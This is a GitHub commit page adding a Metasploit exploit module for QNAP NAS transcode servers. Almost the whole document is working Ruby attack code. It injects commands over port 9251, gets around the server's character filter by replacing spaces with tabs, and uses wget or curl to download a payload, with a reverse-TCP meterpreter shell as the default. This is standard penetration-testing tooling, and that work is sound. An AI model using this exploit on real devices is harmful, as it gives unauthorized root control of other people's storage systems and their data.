Skip to content

Commit 0a374b1

Browse files
committed
Add QNAP Transcode Server Command Execution exploit module
1 parent 8afb774 commit 0a374b1

File tree

1 file changed

+116
-0
lines changed

1 file changed

+116
-0
lines changed
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'QNAP Transcode Server Command Execution',
15+
'Description' => %q{
16+
This module exploits an unauthenticated remote command injection
17+
vulnerability in QNAP NAS devices. The transcoding server listens
18+
on port 9251 by default and is vulnerable to command injection
19+
using the 'rmfile' command.
20+
21+
This module was tested successfully on a QNAP TS-431 with
22+
firmware version 4.3.3.0262 (20170727).
23+
},
24+
'Author' =>
25+
[
26+
'Zenofex', # Initial vulnerability discovery and PoC
27+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'References' =>
32+
[
33+
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
34+
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
35+
],
36+
'DisclosureDate' => 'Aug 6 2017',
37+
'Privileged' => true,
38+
'Arch' => ARCH_ARMLE,
39+
'DefaultOptions' =>
40+
{
41+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
42+
},
43+
'Targets' => [['Automatic', {}]],
44+
'CmdStagerFlavor' => %w{wget curl},
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
Opt::RPORT(9251),
50+
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
51+
])
52+
deregister_options 'cmdstager::decoder'
53+
end
54+
55+
def check
56+
vprint_status 'Connecting to transcode server...'
57+
58+
connect
59+
sock.put "\x01\x00\x00\x00"
60+
res = sock.get_once
61+
62+
if res.blank?
63+
vprint_status 'No reply from server'
64+
return CheckCode::Safe
65+
end
66+
67+
vprint_status "Received response: #{res}"
68+
69+
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
70+
71+
CheckCode::Safe
72+
rescue ::Rex::ConnectionError
73+
vprint_error 'Connection failed'
74+
return CheckCode::Unknown
75+
ensure
76+
disconnect
77+
end
78+
79+
def execute_command(cmd, opts)
80+
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
81+
# Execute each command seperately
82+
cmd.split(';').each do |c|
83+
connect
84+
vprint_status "Executing command: #{c}"
85+
86+
# Replace spaces with tabs
87+
c.tr! ' ', "\t"
88+
89+
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
90+
res = sock.get_once
91+
92+
unless res.to_s =~ /client's request is accepted/
93+
print_status 'Unexpected reply'
94+
break
95+
end
96+
97+
print_status "Sent command successfully (#{c.length} bytes)"
98+
99+
disconnect
100+
101+
if c =~ /^(curl|wget)/
102+
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
103+
Rex.sleep datastore['DELAY']
104+
end
105+
end
106+
rescue ::Rex::ConnectionError
107+
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
108+
ensure
109+
disconnect
110+
end
111+
112+
def exploit
113+
vprint_status 'Connecting to transcode server...'
114+
execute_cmdstager linemax: 400
115+
end
116+
end

0 commit comments

Comments
 (0)